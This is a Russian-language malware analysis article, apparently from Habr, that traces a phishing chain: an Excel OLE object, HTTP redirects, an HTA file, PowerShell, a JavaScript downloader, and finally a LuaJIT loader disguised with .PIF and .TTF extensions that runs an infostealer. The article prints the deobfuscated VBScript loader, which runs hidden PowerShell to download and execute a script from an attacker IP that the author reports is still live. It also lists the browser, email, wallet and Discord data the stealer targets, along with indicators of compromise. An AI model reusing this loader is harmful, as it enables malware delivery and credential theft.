Разбор цепочки заражения через документ Excel: от OLE-объекта до LuaJIT-инфостилера

от автора

Введение

Большинство современных вредоносных рассылок уже давно не используют классические макросы Microsoft Office. Вместо этого злоумышленники строят многоступенчатые цепочки заражения, где каждый компонент выполняет только одну небольшую задачу: первоначальный документ лишь инициирует загрузку следующего этапа, тот скачивает новый компонент, который в свою очередь запускает основной вредоносный модуль.

В ходе анализа одного из подобных образцов была исследована полная цепочка заражения — от письма с вложением Excel до запуска LuaJIT-загрузчика и последующего инфостилера. Интересной особенностью кампании является использование файлов с нестандартными расширениями (.PIF и .TTF), которые на самом деле не являются ни ярлыком, ни шрифтом.

Ниже рассмотрим каждый этап работы вредоносной цепочки.

Первоначальное письмо

На электронную почту поступает письмо с вложением:

Номер заказа 6482.xls

При открытии документа пользователь не наблюдает какой-либо подозрительной активности. Документ практически пустой и не содержит заметного содержимого.

Однако если открыть файл как Compound File Storage (OLE Structured Storage), можно увидеть следующую структуру:

MBD000203B4    └── [1]Ole

Для документов формата XLS наличие OLE-потоков является абсолютно нормальным явлением.

Однако содержимое потока [1]Ole заслуживает внимания.

Внутри присутствует строка:

http://030073154515/.windowslatest.com20260614windows-11-kb5094126-issues-include-boot-failures-bsod-bitlocker-recovery-on-some-pcs-hp-onedrive-sync-and-enterprise-apps.php

На первый взгляд URL напоминает новостную публикацию о Windows Update на сайте WindowsLatest. На самом деле это лишь попытка замаскировать вредоносную инфраструктуру под легитимный ресурс.

Сетевая цепочка

После открытия документа начинается последовательность HTTP-запросов.

Первый запрос выполняется по адресу:

http://192.236.217.77/.windowslatest.com20260614windows-11-kb5094126-issues-include-boot-failures-bsod-bitlocker-recovery-on-some-pcs-hp-onedrive-sync-and-enterprise-apps.php

Сервер отвечает:

HTTP/1.1 301 Moved Permanently

После чего происходит перенаправление на сокращённую ссылку:

https://masuk.to/fypLcP

Следующий ответ:

HTTP/1.1 302 Found

и браузер перенаправляется на конечный адрес:

http://192.236.217.77/33/ev/fdd.hta

Именно здесь начинается фактическая стадия заражения.

Схематично цепочка выглядит следующим образом:

Excel      │      ▼OLE Stream      │      ▼HTTP Request      │      ▼301 Redirect      │      ▼Shortener      │      ▼302 Redirect      │      ▼fdd.hta

Использование нескольких HTTP-редиректов позволяет злоумышленникам:

  • затруднить анализ;

  • быстро менять конечный сервер;

  • скрывать реальную инфраструктуру;

  • обходить простые URL-фильтры.

Анализ HTA-файла

После прохождения цепочки редиректов загружается файл

fdd.hta

HTA (HTML Application) представляет собой обычный HTML-документ, который исполняется движком Internet Explorer с практически полными правами пользователя.

Основной код представляет собой сильно обфусцированный VBScript.

После деобфускации получается следующий код:

Option ExplicitDim shDim cmdSet sh = CreateObject("WScript.Shell")cmd = "%COMSPEC% /C " & _      "powershell.exe " & _      "-ExecutionPolicy Bypass " & _      "-NoProfile " & _      "-WindowStyle Hidden " & _      "-Command " & _      """wget http://192.236.217.77/33/goodpeoplesgivingbestserviceforbest.js " & _      "-OutFile $env:AppData\goodpeoplesgivingbestserviceforbest.js; " & _      "& $env:AppData\goodpeoplesgivingbestserviceforbest.js"""sh.Run cmd, 0, FalseSet sh = Nothing

Несмотря на небольшой объём кода, данный скрипт выполняет функцию полноценного загрузчика.

Последовательность его работы следующая:

  1. Создаётся объект WScript.Shell.

  2. Через %COMSPEC% запускается cmd.exe.

  3. Из cmd.exe запускается PowerShell.

  4. PowerShell стартует в скрытом режиме.

  5. Политика выполнения скриптов отключается (ExecutionPolicy Bypass).

  6. Пользовательский профиль не загружается (NoProfile).

  7. Окно PowerShell скрывается (WindowStyle Hidden).

  8. Выполняется загрузка следующего этапа.

  9. Загруженный JavaScript сразу исполняется.

Фактически данный HTA-файл не содержит вредоносной нагрузки как таковой. Его единственная задача — загрузить следующий компонент.

JavaScript-загрузчик

Следующим этапом становится выполнение файла

goodpeoplesgivingbestserviceforbest.js

Несмотря на большое название, функциональность достаточно простая. Скрипт скачивает два файла:

JJGIMJPBTQUZEYUL.PIFJJGIMJPBTQUZEYUL.ttf

На первый взгляд может показаться, что:

  • PIF — старый ярлык Windows;

  • TTF — обычный шрифт.

Однако оба файла используются совершенно иначе.

Необычное использование PIF

Файл

JJGIMJPBTQUZEYUL.PIF

на самом деле является исполняемым LuaJIT Loader.

Второй файл

JJGIMJPBTQUZEYUL.ttf

не является шрифтом. Это обычный Lua-скрипт.

Запуск происходит следующим образом:

"C:\Users\<user>\Documents\JJGIMJPBTQUZEYUL.PIF" C:\Users\<user>\Documents\JJGIMJPBTQUZEYUL.ttf

Таким образом:

PIF     ↓LuaJIT Runtime     ↓TTF     ↓Lua Script

Расширение .ttf используется исключительно для маскировки.

Сам LuaJIT Loader получает путь к файлу и интерпретирует его как Lua-код.

Подобный подход имеет сразу несколько преимуществ:

  • обход простых сигнатур;

  • сокрытие настоящего назначения файла;

  • усложнение статического анализа;

  • снижение количества детектов антивирусами.

Поведение Lua-скрипта

После запуска начинается активный сбор информации о системе.

Сбор сведений о системе

Сначала производится чтение различных ключей реестра.

Получается:

  • MachineGuid;

  • ComputerName;

  • InstallationType;

  • версия таблиц сортировки NLS.

Это позволяет сформировать уникальный идентификатор заражённой системы.

Отключение журналирования

Далее вредоносная программа изменяет настройки трассировки Windows.

Изменяется значение:

HKLM\SOFTWARE\Microsoft\Tracing\    JJGIMJPBTQUZEYUL_RASAPI32

Параметр:

EnableFileTracing = 0

Тем самым отключается файловое журналирование RAS API.

Подобная техника соответствует MITRE ATT&CK:

T1562.002Impair Defenses

Проверка параметров Internet Explorer

Следующим этапом читаются настройки безопасности Internet Explorer.

В частности анализируются параметры:

DisableSecuritySettingsCheck

и

RunBinaryControlHostProcessInSeparateAppContainer

Даже несмотря на то, что Internet Explorer давно считается устаревшим, его компоненты до сих пор используются многими системными механизмами Windows.

Запуск браузеров

Интересной особенностью является запуск Chrome и Microsoft Edge с необычными параметрами.

Например:

--no-sandbox--disable-gpu--disable-audio--mute-audio--user-data-dir=<Temp>

Создаётся полностью отдельный профиль пользователя.

Это позволяет избежать конфликтов с уже работающим браузером и выполнять операции независимо от основной пользовательской сессии.

Поиск конфиденциальной информации

Наиболее интересная часть начинается далее. Lua-скрипт начинает проверять наличие множества файлов и директорий.

Почтовые клиенты

Проверяются:

ThunderbirdMailbirdMicrosoft Outlook

В Outlook производится обращение к ключам профиля:

POP3 Password

Браузеры

Проверяются:

Google ChromeMicrosoft EdgeOperaOpera GX

Изучаются:

  • Cookies;

  • Local State;

  • профили пользователей;

  • настройки браузеров.

Менеджеры паролей

Производятся обращения к расширениям популярных менеджеров паролей.

Например:

aeblfdkhhhdcdjpifhhbdiojplfjncoa

Криптовалютные кошельки

Проверяются каталоги расширений:

kkpllkodjeloidieedojogacfhpaihohfcfcfllfndlomdhbehjjcoimbgofdncglgmpcpglpngdoalbgeoldeajfclnhafajnlgamecbpmbajjfhmmmlhejkemejdmamcohilncbfahbmgdjkbpemcciiolgcge

Каждый идентификатор соответствует определённому браузерному расширению криптовалютного кошелька.

Discord

Также производится поиск:

Discord

В частности:

Local Storage

где могут храниться токены авторизации.

Общая схема заражения

Полная цепочка выглядит следующим образом:

Email      │      ▼Excel (.xls)      │      ▼OLE Object      │      ▼HTTP Request      │      ▼301 Redirect      │      ▼302 Redirect      │      ▼HTA      │      ▼VBScript      │      ▼PowerShell      │      ▼JavaScript      │      ▼LuaJIT Loader (.PIF)      │      ▼Lua Script (.TTF)      │      ▼System ReconnaissanceCredential AccessBrowser Data CollectionCrypto Wallet Discovery      │      ▼38.49.217.157

Каждый этап выполняет только одну функцию, благодаря чему вся цепочка становится значительно менее заметной для средств защиты. И все полученные данные отправляет уже на IP как 38.49.217.157.

Индикаторы компрометации (IOC)

Файл

SHA256

Номер заказа 6482 .xls

a95dedfe8471179b42d61538954be3d42aec68321181ac9bc74fefc30160991d

fdd.hta

540a0c9d12b13a3b084fac354c6c3cf7bfaea52bdf7c00ef69f9bb1881060498

JJGIMJPBTQUZEYUL.PIF

52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1

JJGIMJPBTQUZEYUL.ttf

c33c556661cb27e1277702cbba93dfd466742690edca38ea55bf5532387068a6

Файлы

Номер заказа 6482.xlsfdd.htagoodpeoplesgivingbestserviceforbest.jsJJGIMJPBTQUZEYUL.PIFJJGIMJPBTQUZEYUL.ttf

Сетевые индикаторы

192.236.217.77masuk.to38.49.217.157

Ключевые команды

powershell.exe-ExecutionPolicy Bypass-NoProfile-WindowStyle Hidden

Отдельно хочется отметить, что на момент анализа сервер http://192.236.217.77/33 всё ещё оставался доступен, а файлы, которые использовались в данной цепочке заражения, продолжали находиться на нём. То есть инфраструктура атаки не была отключена и всё ещё могла использоваться для дальнейшего распространения.

Поэтому будьте внимательны при работе с письмами и вложениями, особенно с документами .xls от неизвестных отправителей. На первый взгляд такой файл может выглядеть как обычный документ, но внутри может скрываться целая цепочка загрузки вредоносного ПО.

Заключение

Разобранная цепочка показывает современный подход к распространению вредоносного ПО. Вместо одного исполняемого файла злоумышленники используют несколько этапов, где каждый компонент выполняет свою задачу: документ Microsoft Excel Workbook (*.xls) запускает начальную цепочку, HTML Application (*.hta) загружает следующий этап, PowerShell получает скрипт JavaScript (*.js), а LuaJIT Loader запускает основной Lua-код, скрытый под расширением TrueType Font (*.ttf).

Использование нестандартных расширений .pif и .ttf, а также нескольких языков сценариев усложняет анализ и помогает обходить простые средства обнаружения.

Финальный Lua-модуль выполняет сбор информации о системе, проверяет наличие данных браузеров, почтовых клиентов, менеджеров паролей, криптовалютных расширений и других источников конфиденциальной информации. Такое поведение характерно для современных инфостилеров, основной целью которых является кража учётных данных и пользовательских данных.

В результате перед нами многоступенчатая атака, где каждый отдельный файл выглядит менее подозрительно, но вместе они формируют полноценную цепочку заражения.

ссылка на оригинал статьи https://habr.com/ru/articles/1057686/